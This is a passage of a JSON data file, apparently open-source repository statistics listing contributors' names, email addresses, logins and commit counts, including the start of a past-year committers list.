Attias","email":"yosy101@gmail.com","login":"yosiat","count":2},{"name":"aki","email":"lala.akira@gmail.com","login":"aki77","count":2},{"name":"alpaca-tc","email":"alpaca-tc@alpaca.tc","login":"alpaca-tc","count":2},{"name":"artygus","email":"hero@engineeriam.net","login":"artygus","count":2},{"name":"bananaappletw","email":"bananaappletw@gmail.com","login":"bananaappletw","count":2},{"name":"Sebastian Roth","email":"sebastian.roth@gmail.com","login":"ened","count":2},{"name":"scottmotte","email":"scott@scottmotte.com","login":"motdotla","count":2},{"name":"po","email":"mahb45@gmail.com","login":"saberma","count":2},{"name":"megane42","email":"h.kzm.gm@gmail.com","login":"megane42","count":2},{"name":"klacointe","email":"kevinlacointe@gmail.com","login":"klacointe","count":2},{"name":"Dan Weinand","email":"dweinand@gmail.com","login":"dweinand","count":2},{"name":"Chris Roberts","email":"chrisroberts.code@gmail.com","login":"chrisroberts","count":2},{"name":"Chedli Bourguiba","email":"chedli.bourguiba@edu.esiee.fr","login":"chaadow","count":2},{"name":"Caleb Wright","email":"caleb.wright@gmail.com","login":"c0","count":2},{"name":"Bradley Priest","email":"bradleypriest@gmail.com","login":"bradleypriest","count":2},{"name":"Arjen Oosterkamp","email":"mail@arjen.me","login":"Arjeno","count":2},{"name":"Abdelkader Boudih","email":"terminale@gmail.com","login":"seuros","count":2},{"name":"Thomas Drake-Brockman","email":"thom@sfedb.com","login":"thomasfedb","count":2},{"name":"Daniel Evans","email":"evans.daniel.n@gmail.com","login":"danielevans","count":2},{"name":"David Strauß","email":"david.strausz@gmail.com","login":"stravid","count":2},{"name":"Fred Wu","email":"canglan@gmail.com","login":"fredwu","count":2},{"name":"Fredrik Björk","email":"fredrik.bjork@gmail.com","login":"fbjork","count":2},{"name":"Grant Bourque","email":"grant.bourque@mutations.ltd","login":"grantbdev","count":2},{"name":"Jeroen van Dijk","email":"jeroen@jeevidee.nl","login":"jeroenvandijk","count":2},{"name":"Jason Lee","email":"huacnlee@gmail.com","login":"huacnlee","count":2},{"name":"Jacob Poulsgaard Tjoernholm","email":"chopmo@gmail.com","login":"chopmo","count":2},{"name":"Jacek Galanciak","email":"jacek.galanciak@gmail.com","login":"razorjack","count":2},{"name":"Igor Davydov","email":"iskiche@gmail.com","login":"div","count":2},{"name":"HariKrishnan","email":"harikrishnan83@gmail.com","login":"harikrishnan83","count":2},{"name":"Anthony Penner","email":"penner.anthony@gmail.com","login":"anthonypenner","count":2},{"name":"Katsuhiko YOSHIDA","email":"claddvd@gmail.com","login":"kyoshidajp","count":2},{"name":"Kazuhiro NISHIYAMA","email":"zn@mbf.nifty.com","login":"znz","count":2},{"name":"Koichi ITO","email":"koic.ito@gmail.com","login":"koic","count":2},{"name":"Marcel Neuhausler","email":"neuhausler@gmail.com","login":"neuhausler","count":2},{"name":"Maros Hluska","email":"mhluska@gmail.com","login":"mhluska","count":2},{"name":"Matt Olson","email":"matt@mattolson.com","login":"mattolson","count":2},{"name":"Matthew Ford","email":"matt@bitzesty.com","login":"matthewford","count":2},{"name":"Nachiket Pusalkar","email":"33430835+nachiket87","login":"nachiket87","count":2},{"name":"kevivmatrix","email":"vivekpatna52@gmail.com","login":"kevivmatrix","count":2},{"name":"tomodian","email":"tomodian@tomoair.local","login":null,"count":2},{"name":"Jonas Nicklas and Nicklas Ramhöj","email":"dev+jnicklas+ramhoj@elabs.se","login":null,"count":2},{"name":"dbloete","email":"mail@dennisbloete.de","login":null,"count":2},{"name":"Zach Gardner","email":"zach@weaveup.com","login":null,"count":2},{"name":"Theo Hultberg and Jonas Nicklas","email":"dev+iconara+jnicklas@elabs.se","login":null,"count":2},{"name":"Olivier El Mekki","email":"oelmekki@gmail.com","login":null,"count":2},{"name":"Elliott Mason","email":"sireleo@gmail.com","login":null,"count":2},{"name":"Malcolm Locke","email":"malc@wholemeal.co.nz","login":null,"count":2},{"name":"LupineDev","email":"lupinedev@gmail.com","login":null,"count":2},{"name":"Jonas Nicklas and Anders Tornqvist","email":"dev+jnicklas+unders@elabs.se","login":null,"count":2},{"name":"Igor Kapkov","email":"igasgeek@me.com","login":null,"count":2},{"name":"Joel Nimety","email":"jnimety@continuity.net","login":null,"count":2},{"name":"John Barker and Mario Visic","email":"team+john+mario@thefrontiergroup.com.au","login":null,"count":2},{"name":"Gregory Durelle","email":"g.durelle@studiomelipone.eu","login":null,"count":2},{"name":"Fedor Koshel","email":"fedor.koshel@insales.ru","login":null,"count":2},{"name":"Fabio","email":"fabio.cantoni@neonisi.com","login":null,"count":2},{"name":"Emilien Taque","email":"etaque@macbook-de-emilien-taque.local","login":null,"count":2},{"name":"Bart Teeuwisse","email":"bart.teeuwisse@thecodemill.biz","login":null,"count":2},{"name":"Roger Campos","email":"roger@itnig.net","login":null,"count":2},{"name":"matthooks","email":"matthooks@gmail.com","login":null,"count":2},{"name":"karb","email":"github@shrt.nl","login":null,"count":2},{"name":"Derek Parker and Joshua Davey","email":"dev+dparker1990+jgdavey@hashrocket.com","login":null,"count":1},{"name":"Dustin Schneider","email":"dustin@genevate.com","login":null,"count":1},{"name":"David Schovanec","email":"schovanec@schovi.cz","login":null,"count":1},{"name":"David Rodríguez","email":"deivid.rodriguez@gmail.com","login":null,"count":1},{"name":"Dave Hrycyszyn","email":"dave.hrycyszyn@headlondon.com","login":null,"count":1},{"name":"Cristian Sorinel","email":"cit5@cit5","login":null,"count":1},{"name":"Kiyoshi '13k' Murata","email":"13k@linhareta.net","login":null,"count":1},{"name":"Emiliano Ritiro","email":"eritiro@gmail.com","login":null,"count":1},{"name":"Emily Bache and Jonas Nicklas","email":"dev+Emily+jnicklas@elabs.se","login":null,"count":1},{"name":"Florent Guilleux","email":"florent2@gmail.com","login":null,"count":1},{"name":"Gabe","email":"gabe@reframeit.com","login":null,"count":1},{"name":"Adam Crownoble","email":"adam.crownoble@biola.edu","login":null,"count":1},{"name":"Brady Bouchard","email":"brady@ldawn.com","login":null,"count":1},{"name":"Bernabas","email":"bdagnachew@weddingwire.com","login":null,"count":1},{"name":"Andreas Haller","email":"andreashaller@gmail.com","login":null,"count":1},{"name":"Alexander Koshelapov","email":"alexander.koshelapov@activeplatform.com","login":null,"count":1},{"name":"Alex Pooley","email":"apooley@gitlab.com","login":null,"count":1},{"name":"Adam Michel","email":"awmichel90@gmail.com","login":null,"count":1},{"name":"Adam Davies","email":"adzdavies@gmail.com","login":"adz","count":1},{"name":"Adam Pahlevi","email":"adam.pahlevi@gmail.com","login":"adamnoto","count":1},{"name":"Adrian Pike","email":"adrian@pikeapps.com","login":"adrianpike","count":1},{"name":"Aggelos Orfanakos","email":"agorf@agorf.gr","login":"agorf","count":1},{"name":"Piotr Boniecki","email":"piotr@prograils.com","login":null,"count":1},{"name":"Piotr Bzymek","email":"piotr.bzymek@u2i.com","login":null,"count":1},{"name":"Prasselpikachu","email":"prasselpikachu@gmail.com","login":null,"count":1},{"name":"Ransom Briggs","email":"rbriggs@heroku.com","login":null,"count":1},{"name":"Robbie Pitts","email":"robbie@sweatypitts.com","login":null,"count":1},{"name":"Roger Campos","email":"rcampos@imim.es","login":null,"count":1},{"name":"Roger Hu","email":"rogerh@squareup.com","login":null,"count":1},{"name":"Ryan Ricard","email":"rjricard@umn.edu","login":null,"count":1},{"name":"Sebastien Savater","email":"savater.sebastien@gmail.com","login":null,"count":1},{"name":"Semenyuk Dmitriy","email":"git@semenyukdmitriy.com","login":null,"count":1},{"name":"Shinya Kitamura","email":"shinya.kitamura@sugar.sg","login":null,"count":1},{"name":"Steve Hoeksema","email":"github@seven.net.nz","login":null,"count":1},{"name":"Victor Nawothnig","email":"Victor.Nawothnig@wobcom.de","login":null,"count":1},{"name":"Will Prater","email":"will@thesuperformula.com","login":null,"count":1},{"name":"ingemar","email":"ingemar@elabs.se","login":null,"count":1},{"name":"jamie","email":"jmyun@stayes.com","login":null,"count":1},{"name":"Rémy Coutable","email":"rymai@rymai.me","login":null,"count":1},{"name":"nathankleyn","email":"nathan@unfinitydesign.com","login":null,"count":1},{"name":"pedrosmmoreira","email":"pedro@epedrosmmoreira.com","login":null,"count":1},{"name":"pharlez","email":"thalis2201","login":null,"count":1},{"name":"vanburg","email":"edjbox@gmail.com","login":null,"count":1},{"name":"Gustavo Gutierrez","email":"gustavo@acidtango.com","login":null,"count":1},{"name":"Hiroshi Nakamura","email":"nahi@ruby-lang.org","login":null,"count":1},{"name":"Hussam Sheikh","email":"hussam.sheikh@xtremelabs.com","login":null,"count":1},{"name":"James Cook","email":"jamecook@gmail.com","login":null,"count":1},{"name":"Jeff Kreeftmeijer","email":"jeff@kreeftmeijer.nl","login":null,"count":1},{"name":"Jonathan Childress","email":"jchild+github@gmail.com","login":null,"count":1},{"name":"Kai Schlichting","email":"laccolithgrunt@gmx.de","login":null,"count":1},{"name":"Kara","email":"kara.erickson3@gmail.com","login":null,"count":1},{"name":"Konrad Szczesniak","email":"konrad.szczesniak@performance-media.pl","login":null,"count":1},{"name":"Kyle Rames","email":"kyle.rames@rackspace.com","login":null,"count":1},{"name":"Liborio Cannici","email":"lic@crd.dk","login":null,"count":1},{"name":"Luis Ciudad","email":"luis@friendkhana.com","login":null,"count":1},{"name":"Manuel PRADAL","email":"manuel.pradal@koolicar.com","login":null,"count":1},{"name":"Max Li","email":"middletonlee1994@gmail.com","login":null,"count":1},{"name":"Morgan Laco","email":"morgan@codeschool.com","login":null,"count":1},{"name":"Nick Ottrando","email":"nick@onemob.com","login":null,"count":1},{"name":"Nicklas Ramhöj","email":"nicklas@wepic.se","login":null,"count":1},{"name":"Oge Nnadi","email":"ogechi.nnadi@digitalscientists.com","login":null,"count":1},{"name":"Pairing Workstation Fry","email":"dev+fry@hashrocket.com","login":null,"count":1},{"name":"Paul Elliott","email":"paul@hashrocket.com","login":null,"count":1},{"name":"Piotr Boniecki","email":"piotr@galdomedia.pl","login":null,"count":1},{"name":"Petrik de Heus","email":"petrik@deheus.net","login":"p8","count":1},{"name":"Petteri Räty","email":"petsku@petteriraty.eu","login":"betelgeuse","count":1},{"name":"Ponomarev Nikolay","email":"itsnikolay@gmail.com","login":"itsNikolay","count":1},{"name":"Raison Dsouza","email":"raisondsouza@gmail.com","login":"rdsoze","count":1},{"name":"Ramon Soares","email":"eu@ramonsoares.com","login":"ramon","count":1},{"name":"Raphael Kallensee","email":"raphael@kallensee.name","login":"rkallensee","count":1},{"name":"Riley James","email":"rj@rileyjames.co","login":"rjaus","count":1},{"name":"Rin Raeuber","email":"mail@rin-raeuber.com","login":"rin","count":1},{"name":"Robert Aschenbrenner","email":"trobbe@online.de","login":"trebor8x","count":1},{"name":"Robert Glaser","email":"mail@robert-glaser.de","login":"youngbrioche","count":1},{"name":"Robert Schulze","email":"robert.schulze@dotless.de","login":"fnordfish","count":1},{"name":"Roel van der Hoorn","email":"vanderhoorn@gmail.com","login":"vanderhoorn","count":1},{"name":"Rubem Nakamura","email":"rubem.nakamura@gmail.com","login":"rubemz","count":1},{"name":"Ryan Williams","email":"ryancwilliams9@gmail.com","login":"ryancw","count":1},{"name":"Rémi Prévost","email":"remi@exomel.com","login":"remi","count":1},{"name":"Alexander Simonov","email":"oleksandr@simonov.me","login":"simonoff","count":1},{"name":"Salimane Adjao Moustapha","email":"salimane.moustapha@meltwater.com","login":"salimane","count":1},{"name":"Scott Messinger","email":"scottmessinger@gmail.com","login":"scottmessinger","count":1},{"name":"Sergey Rezvanov","email":"sergey@rezvanov.info","login":"rezwyi","count":1},{"name":"Seth Herr","email":"seth.william.herr@gmail.com","login":"sethherr","count":1},{"name":"Shinichi Maeshima","email":"netwillnet@gmail.com","login":"willnet","count":1},{"name":"Shuhei Kagawa","email":"shuhei.kagawa@gmail.com","login":"shuhei","count":1},{"name":"Simon Prévost","email":"sprevost@mirego.com","login":"simonprev","count":1},{"name":"Slava Ptsarev","email":"leemour@gmail.com","login":"leemour","count":1},{"name":"Stanislas Boyet","email":"stanislas@boyet.me","login":"StanBoyet","count":1},{"name":"Stef Lewandowski","email":"stef@stef.io","login":"stefl","count":1},{"name":"Stefan Wienert","email":"info@stefanwienert.de","login":"zealot128","count":1},{"name":"Stephan Kaag","email":"stephan@ka.ag","login":"stephankaag","count":1},{"name":"Stephens Xu","email":"stephensxub@gmail.com","login":"stephensxu","count":1},{"name":"Masahiro","email":"watanabe@cadenza-tech.com","login":"w-masahiro-ct","count":1},{"name":"Mateusz Juraszek","email":"mateusz@webtigers.eu","login":"meceo","count":1},{"name":"Ian Warshak","email":"iwarshak@stripey.net","login":"iwarshak","count":1},{"name":"Matt Coneybeare","email":"matt@coneybeare.me","login":"coneybeare","count":1},{"name":"Matthew Boston","email":"matthew.boston@gmail.com","login":"bostonaholic","count":1},{"name":"Matthew Higgins","email":"developer@matthewhiggins.com","login":"matthuhiggins","count":1},{"name":"Matthew Rudy Jacobs","email":"MatthewRudyJacobs@gmail.com","login":"matthewrudy","count":1},{"name":"Max Hawkins","email":"maxhawkins@gmail.com","login":"maxhawkins","count":1},{"name":"Melinda Seckington","email":"mseckington@gmail.com","login":"mseckington","count":1},{"name":"Michael Guterl","email":"mguterl@gmail.com","login":"mguterl","count":1},{"name":"Mikko Kokkonen","email":"mikko@mikian.com","login":"mikian","count":1},{"name":"Mitch Statz","email":"mstatz@gmail.com","login":"nucleoid","count":1},{"name":"Nassim Abdelghani","email":"nassim@platogo.com","login":"nassim-platogo","count":1},{"name":"Nat Welch","email":"nat@natwelch.com","login":"icco","count":1},{"name":"Nick Hoffman","email":"nick@deadorange.com","login":"nickhoffman","count":1},{"name":"Nicolae Claudius","email":"nicolae_claudius@yahoo.com","login":"clyfe","count":1},{"name":"Nicolas Viennot","email":"nicolas@viennot.biz","login":"nviennot","count":1},{"name":"Oleg Vivtash","email":"oleg@vivtash.net","login":"duhast","count":1},{"name":"Oliver Morgan","email":"ollym@me.com","login":"ollym","count":1},{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","login":"olleolleolle","count":1},{"name":"Omer Katz","email":"omer.drow@gmail.com","login":"thedrow","count":1},{"name":"Owen Davies","email":"obduk","login":"obduk","count":1},{"name":"Paco Benavent","email":"theknack@gmail.com","login":"Knack","count":1},{"name":"Patrick Helm","email":"me@patrick-helm.de","login":"Deradon","count":1},{"name":"Tom Lord","email":"lord.thom@gmail.com","login":"tom-lord","count":1},{"name":"Pavel Chipiga","email":"pavel.chipiga@gmail.com","login":"chipiga","count":1},{"name":"Paweł Gościcki","email":"pawel.goscicki@gmail.com","login":"pjg","count":1},{"name":"Pete Higgins","email":"pete@peterhiggins.org","login":"phiggins","count":1},{"name":"Peter Fern","email":"github@obfusc8.org","login":"pdf","count":1},{"name":"jiikko","email":"jiikko","login":"jiikko","count":1},{"name":"jonnyandrew","email":"jonny.andrew@gmail.com","login":"jonnyandrew","count":1},{"name":"joshuamsager","email":"joshua.sager@shopify.com","login":"joshuamsager","count":1},{"name":"jvdp","email":"jvdplas@gmail.com","login":"jvdp","count":1},{"name":"kijima","email":"norimaking777@gmail.com","login":"kijimaD","count":1},{"name":"lukas","email":"lukas.westermann@gmail.com","login":"lwe","count":1},{"name":"mark-young-atg","email":"113439900+mark-young-atg","login":"mark-young-atg","count":1},{"name":"martijnschuth","email":"martijn@easybroker.com","login":"martijnschuth","count":1},{"name":"matthewbarram","email":"matthewbarram@gmail.com","login":"matthewbarram","count":1},{"name":"mattmenefee","email":"matt.menefee@extractablemedia.com","login":"mattmenefee","count":1},{"name":"maxschulze","email":"max@maxschulze.com","login":"maxschulze","count":1},{"name":"msyesyan","email":"msyesyan@gmail.com","login":"msyesyan","count":1},{"name":"muratiger","email":"theboxer019690@gmail.com","login":"muratiger","count":1},{"name":"nagatech","email":"cheesecakebot@yahoo.co.jp","login":"nagatea","count":1},{"name":"oss92","email":"mohamed.o.alnagdy@gmail.com","login":"oss92","count":1},{"name":"poho","email":"thepoho@gmail.com","login":"thepoho","count":1},{"name":"printercu","email":"printercu@gmail.com","login":"printercu","count":1},{"name":"r7kamura","email":"r7kamura@gmail.com","login":"r7kamura","count":1},{"name":"randoum","email":"randoum@gmail.com","login":"randoum","count":1},{"name":"ricny046","email":"ricny046@gmail.com","login":"ricn","count":1},{"name":"rilian","email":"dmitriyis@gmail.com","login":"rilian","count":1},{"name":"robovirtuoso","email":"alexwilliams4@me.com","login":"Robovirtuoso","count":1},{"name":"sanemat","email":"o.gata.ken@gmail.com","login":"sanemat","count":1},{"name":"sawasaki narumi","email":"distributed.hash.table080@gmail.com","login":"sawasaki-narumi","count":1},{"name":"schneems","email":"richard.schneeman@gmail.com","login":"schneems","count":1},{"name":"syzspectroom","email":"syzspectroom@gmail.com","login":"syzspectroom","count":1},{"name":"ta1kt0me","email":"p.wadachi@gmail.com","login":"ta1kt0me","count":1},{"name":"toshimaru","email":"me@toshimaru.net","login":"toshimaru","count":1},{"name":"xenleme","email":"xenleme@gmail.com","login":"xenleme","count":1},{"name":"Steve Klabnik","email":"steve@steveklabnik.com","login":"steveklabnik","count":1},{"name":"Steven Suwatanapongched","email":"sunpech@gmail.com","login":"sunpech","count":1},{"name":"Sunny Ripert","email":"sunny@sunfox.org","login":"sunny","count":1},{"name":"Sylvain","email":"sylvain@sbx.pm","login":"sylvainbx","count":1},{"name":"Tashiro","email":"g4160hc@gmail.com","login":"tashirosota","count":1},{"name":"Theodor Tonum","email":"theodor@tonum.no","login":"theodorton","count":1},{"name":"Thibaut Courouble","email":"thibaut@me.com","login":"Thibaut","count":1},{"name":"Thomas Mango","email":"tsmango@gmail.com","login":"tsmango","count":1},{"name":"Tim Gremore","email":"timgremore@gmail.com","login":"timgremore","count":1},{"name":"Tobias Bohwalli","email":"hi@futhr.io","login":"futhr","count":1},{"name":"yanivpr","email":"yanivpr@gmail.com","login":"yanivpr","count":1},{"name":"Tomás K.T.","email":"tomas.konig.t@gmail.com","login":"coloradosazulyanaranjados","count":1},{"name":"Trevor Rosen","email":"trevor@catapult-creative.com","login":"trevrosen","count":1},{"name":"Tsubasa Yoshida","email":"bassar@sonicgarden.jp","login":"TsubasaYoshida","count":1},{"name":"Tung Nguyen","email":"tongueroo@gmail.com","login":"tongueroo","count":1},{"name":"Vaibhav","email":"vmdhoke@gmail.com","login":"vaibhavmdhoke","count":1},{"name":"Victor Sokolov","email":"gzigzigzeo@gmail.com","login":"gzigzigzeo","count":1},{"name":"Vishal Patel","email":"v.patel1093@gmail.com","login":"Vpatel1093","count":1},{"name":"Will Prater","email":"will@superformula.com","login":"wprater","count":1},{"name":"Yasuda Toshiyuki","email":"yasuda_toshiyuki@saleshub.jp","login":"yasudatoshiyuki","count":1},{"name":"YotaroSeki","email":"youyoutarou.dog0115@gmail.com","login":"YotaroSeki","count":1},{"name":"Zac Clark","email":"hi@zacclark.com","login":"zacclark","count":1},{"name":"davekiss","email":"iamdavekiss@gmail.com","login":"davekiss","count":1},{"name":"deepj","email":"deepjungle.maca@gmail.com","login":"deepj","count":1},{"name":"fukayatsu","email":"fukayatsu@gmail.com","login":"fukayatsu","count":1},{"name":"gabriele renzi","email":"gabriele@toptal.com","login":"riffraff","count":1},{"name":"hupfis","email":"dominik.hurnaus@gmail.com","login":"hupfis","count":1},{"name":"icebreaker","email":"theicebreaker007@gmail.com","login":"icebreaker","count":1},{"name":"Benjamin Behr","email":"benny@digitalbehr.de","login":"DarkSwoop","count":1},{"name":"Bruce Bolt","email":"bruce.bolt@digital.cabinet-office.gov.uk","login":"brucebolt","count":1},{"name":"Bryan Helmkamp","email":"bryan@brynary.com","login":"brynary","count":1},{"name":"Burak Öztürk","email":"burakozturk90@gmail.com","login":"brozturk","count":1},{"name":"Carlos Antonio da Silva","email":"carlosantoniodasilva@gmail.com","login":"carlosantoniodasilva","count":1},{"name":"Cheng Long","email":"kevinclcn@gmail.com","login":"kevinclcn","count":1},{"name":"Chester Law","email":"chesterlaw@me.com","login":"chesterlaw","count":1},{"name":"Connor Shea","email":"connor.james.shea@gmail.com","login":"connorshea","count":1},{"name":"Court Simas","email":"courtsimas@gmail.com","login":"courtsimas","count":1},{"name":"Craig Kochis","email":"craig@substantial.com","login":"kochis","count":1},{"name":"Dan Williams","email":"dan.williams@futurelearn.com","login":"danwilliams-fl","count":1},{"name":"DarthSim","email":"darthsim@gmail.com","login":"DarthSim","count":1},{"name":"David Chanin","email":"chanindav@gmail.com","login":"chanind","count":1},{"name":"David Radcliffe","email":"radcliffe.david@gmail.com","login":"dwradcliffe","count":1},{"name":"David Southard","email":"nacengineer@gmail.com","login":"nacengineer","count":1},{"name":"Dirk Eisenberg","email":"dirk.eisenberg@gmail.com","login":"dei79","count":1},{"name":"Dmitry Shagin","email":"dmitry.shagin@gmail.com","login":"dmitryshagin","count":1},{"name":"Duncan Robertson","email":"duncan@whomwah.com","login":"whomwah","count":1},{"name":"Dwayne Litzenberger","email":"dlitz@patientway.com","login":"dlitz","count":1},{"name":"Abe Voelker","email":"abe@abevoelker.com","login":"abevoelker","count":1},{"name":"Eduardo Gurgel","email":"eduardo@gurgel.me","login":"edgurgel","count":1},{"name":"Eduardo de Santana Medeiros Alexandre","email":"eduardo.ufpb@lavid.ufpb.br","login":"edusantana","count":1},{"name":"Eric Guo","email":"eric.guo@sandisk.com","login":"Eric-Guo","count":1},{"name":"Eric Hankins","email":"ehankins@rednovalabs.com","login":"stormsilver","count":1},{"name":"Eric Hurst","email":"eric@erichurst.com","login":"erichurst","count":1},{"name":"Erick Dennis","email":"erick.dennis@gmail.com","login":"edennis","count":1},{"name":"Ernesto Tagwerker","email":"ernesto+github@ombulabs.com","login":"etagwerker","count":1},{"name":"Ersin Akinci","email":"earksiinni","login":"earksiinni","count":1},{"name":"Fabio Rehm","email":"fgrehm@gmail.com","login":"fgrehm","count":1},{"name":"Mateusz Juraszek","email":"meceo00@gmail.com","login":null,"count":1},{"name":"Akhil Stanislavose","email":"akhil.stanislavose@gmail.com","login":"akhilstanis","count":1},{"name":"Akihiko Odaki","email":"akihiko.odaki@gmail.com","login":"akihikodaki","count":1},{"name":"Akiomi Kamakura","email":"akiomik@gmail.com","login":"akiomik","count":1},{"name":"Albert Llop","email":"mrsimo@gmail.com","login":"mrsimo","count":1},{"name":"Aleksandrs Ļedovskis","email":"aleksandrs@ledovskis.lv","login":"aleksandrs-ledovskis","count":1},{"name":"Alex Batko","email":"alex@exitloop.ca","login":"abatko","count":1},{"name":"Alex Dunae","email":"alex@dunae.ca","login":"alexdunae","count":1},{"name":"Alex Dzhikvas","email":"skyborn8@gmail.com","login":"dzhikvas","count":1},{"name":"Alex Levine","email":"a17levine@gmail.com","login":"a17levine","count":1},{"name":"Ben","email":"salzig+github@gmail.com","login":"salzig","count":1},{"name":"Alexander [Cheba] Mankuta","email":"cheba@pointlessone.org","login":"pointlessone","count":1},{"name":"Anders Norås","email":"mail@andersnoras.com","login":"anoras","count":1},{"name":"Andreas Loupasakis","email":"alup@aloop.org","login":"alup","count":1},{"name":"Andrew Bennett","email":"andrew@delorum.com","login":"potatosalad","count":1},{"name":"Andrey Chernih","email":"andrey.chernih@gmail.com","login":"a-chernykh","count":1},{"name":"Andrey Samsonov","email":"andrey.samsonov@gmail.com","login":"kryzhovnik","count":1},{"name":"Andy Maleh","email":"andy.am@gmail.com","login":"AndyObtiva","count":1},{"name":"Annie Ho","email":"missawesomeannie@gmail.com","login":"annielytics","count":1},{"name":"Artem Pisarev","email":"tema77@gmail.com","login":"artemas","count":1},{"name":"Artem Yakimenko","email":"code@temik.me","login":"Temikus","count":1},{"name":"Arthur Neves","email":"arthurnn@gmail.com","login":"arthurnn","count":1},{"name":"ArturT","email":"arturtrzop@gmail.com","login":"ArturT","count":1},{"name":"Arun Mathew Kurian","email":"amkurian@gmail.com","login":"amkurian","count":1},{"name":"Aubin LORIEUX","email":"aubin.lorieux@gmail.com","login":"aubinlrx","count":1},{"name":"Bart van Zon","email":"bartvanzon@gmail.com","login":"bartj3","count":1},{"name":"Edmund Salvacion","email":"edmund@schematiclabs.com","login":"edmundsalvacion","count":1},{"name":"Ben Reinhart","email":"benjreinhart@gmail.com","login":"benjreinhart","count":1},{"name":"Ben Woodward","email":"b@benw.me","login":"benwoodward","count":1},{"name":"Kazuya INOUE","email":"bauer24tbp@gmail.com","login":"kazuyainoue0124","count":1},{"name":"Kenny Johnston","email":"kjohnston.ca@gmail.com","login":"kjohnston","count":1},{"name":"Kent Mewhort","email":"kent@openissues.ca","login":"kmewhort","count":1},{"name":"Kevin McCormack","email":"harlemsquirrel@gmail.com","login":"HarlemSquirrel","count":1},{"name":"Kevin Old","email":"kevin@kevinold.com","login":"kevinold","count":1},{"name":"Kian-Meng Ang","email":"kianmeng@cpan.org","login":"kianmeng","count":1},{"name":"Paulo Schiavon","email":"paulo@lptennis.com","login":"pauloschiavon","count":1},{"name":"Kori Roys","email":"kori@koriroys.com","login":"koriroys","count":1},{"name":"Kosei Moriyama","email":"cou929@gmail.com","login":"cou929","count":1},{"name":"Kota Miyake","email":"miyake.kota@gmail.com","login":"kmiyake","count":1},{"name":"Kris Martin","email":"kris.sugandhi@gmail.com","login":"krismartin","count":1},{"name":"Kyle Cho","email":"kylecho.work@gmail.com","login":"kylecho","count":1},{"name":"Lars Pind","email":"lars@pinds.com","login":"calvincorreli","count":1},{"name":"Laurent Curau","email":"laurentqro","login":"laurentqro","count":1},{"name":"Le Duc Tien","email":"leduc.tien@rights-s.jp","login":"leductien-rightsvn","count":1},{"name":"Long","email":"longkt90@gmail.com","login":"longkt90","count":1},{"name":"Lorenzo Zabot","email":"lorenzozabot@gmail.com","login":"Uaitt","count":1},{"name":"Lukas_Skywalker","email":"lukas.diener@hotmail.com","login":"LukasSkywalker","count":1},{"name":"Luke Rodgers","email":"lukeasrodgers@gmail.com","login":"lukeasrodgers","count":1},{"name":"MIKI Soichiro","email":"miki.soichiro@gmail.com","login":"mikisou","count":1},{"name":"Mahmoud Ali","email":"m7moud.said@gmail.com","login":"m7moud","count":1},{"name":"Marat Galiev","email":"kazanlug@gmail.com","login":"maratgaliev","count":1},{"name":"Marat Radchenko","email":"marat@slonopotamus.org","login":"slonopotamus","count":1},{"name":"Mari Carmen Gutiérrez","email":"valakirka@gmail.com","login":"valakirka","count":1},{"name":"Mario Vejlupek","email":"mario@vejlupek.cz","login":"elmariofredo","count":1},{"name":"Marjan Krekoten' (Мар'ян Крекотень)","email":"m@hmarynka.com","login":"krekoten","count":1},{"name":"MarsZ Chen","email":"marsz330@gmail.com","login":"marsz","count":1},{"name":"Martin Madsen","email":"martinbmadsen@gmail.com","login":"martinbjeldbak","count":1},{"name":"jebw","email":"jeb@jdwilkins.co.uk","login":"jebw","count":1},{"name":"Federico Romero","email":"federomero@gmail.com","login":"federomero","count":1},{"name":"Filipe Giusti","email":"filipegiusti@gmail.com","login":"filipegiusti","count":1},{"name":"Gautam Punhani","email":"gautamp@thoughtworks.com","login":"gautampunhani","count":1},{"name":"Gonçalo Silva","email":"goncalossilva@gmail.com","login":"goncalossilva","count":1},{"name":"Greg Weber","email":"greg@gregweber.info","login":"gregwebs","count":1},{"name":"Guo Xiang Tan","email":"tgx_world@hotmail.com","login":"tgxworld","count":1},{"name":"Hagar Abdlwahab","email":"hagarabdelwahab@outlook.com","login":"hagarabdelwaha","count":1},{"name":"Hamed Asghari","email":"hasghari@gmail.com","login":"hasghari","count":1},{"name":"HeXudong","email":"xudonghe@zhulux.com","login":"chucai","count":1},{"name":"Hugo Frappier","email":"hugo@cekoya.com","login":"frahugo","count":1},{"name":"Håkon Lerring","email":"hakon@thedifference.be","login":"Hakon","count":1},{"name":"labocho","email":"labocho@penguinlab.jp","login":"labocho","count":1},{"name":"Ibrahim Awwal","email":"ibrahim+github@awwal.dev","login":"ibrahima","count":1},{"name":"Indrek Juhkam","email":"indrek@urgas.eu","login":"indrekj","count":1},{"name":"Irina Dumitrascu","email":"me@dira.ro","login":"dira","count":1},{"name":"J. Edward Dewyea","email":"jed@commuterdesign.com","login":"jdewyea","count":1},{"name":"Jaime Oyarzun","email":"mito.oyarzun@gmail.com","login":"mitoyarzun","count":1},{"name":"Jarrod Carlson","email":"jarrod.carlson@gmail.com","login":"jcarlson","count":1},{"name":"Jasdeep","email":"jasdeepsingh","login":"jasdeepsingh","count":1},{"name":"Jens-Christian Fischer","email":"jens-christian@invisible.ch","login":"jcfischer","count":1},{"name":"Jeremy Venezia","email":"veneziajeremy@gmail.com","login":"jvenezia","count":1},{"name":"Joel Niedfeldt","email":"joel@niedfeldt.com","login":"niedfelj","count":1},{"name":"Jonas Alves","email":"jonasfa@gmail.com","login":"jonasfa","count":1},{"name":"Jonas Innala","email":"lephyrius@gmail.com","login":"lephyrius","count":1},{"name":"Josh Lubaway","email":"jish","login":"jish","count":1},{"name":"Joshua Cavin","email":"jcavin9@gmail.com","login":"jwipeout","count":1},{"name":"Joshua Kovach","email":"kovach.jc@gmail.com","login":"shekibobo","count":1},{"name":"Juraj Kostolansky","email":"juraj.kostolansky@gmail.com","login":"jkostolansky","count":1},{"name":"Justin Giancola","email":"justin.giancola@gmail.com","login":"elucid","count":1}],"past_year_committers":[{"name":"Mitsuhiro Shibuya","email":"mit.shibuya@gmail.com","login":"mshibuya","count":4},{"name":"dependabot[bot]","email":"49699333+dependabot[bot]","login":"dependabot[bot]","count":3},{"name":"y-yagi","email":"yuuji.yaginuma@gmail.com","login":"y-yagi","count":2},{"name":"Tomás 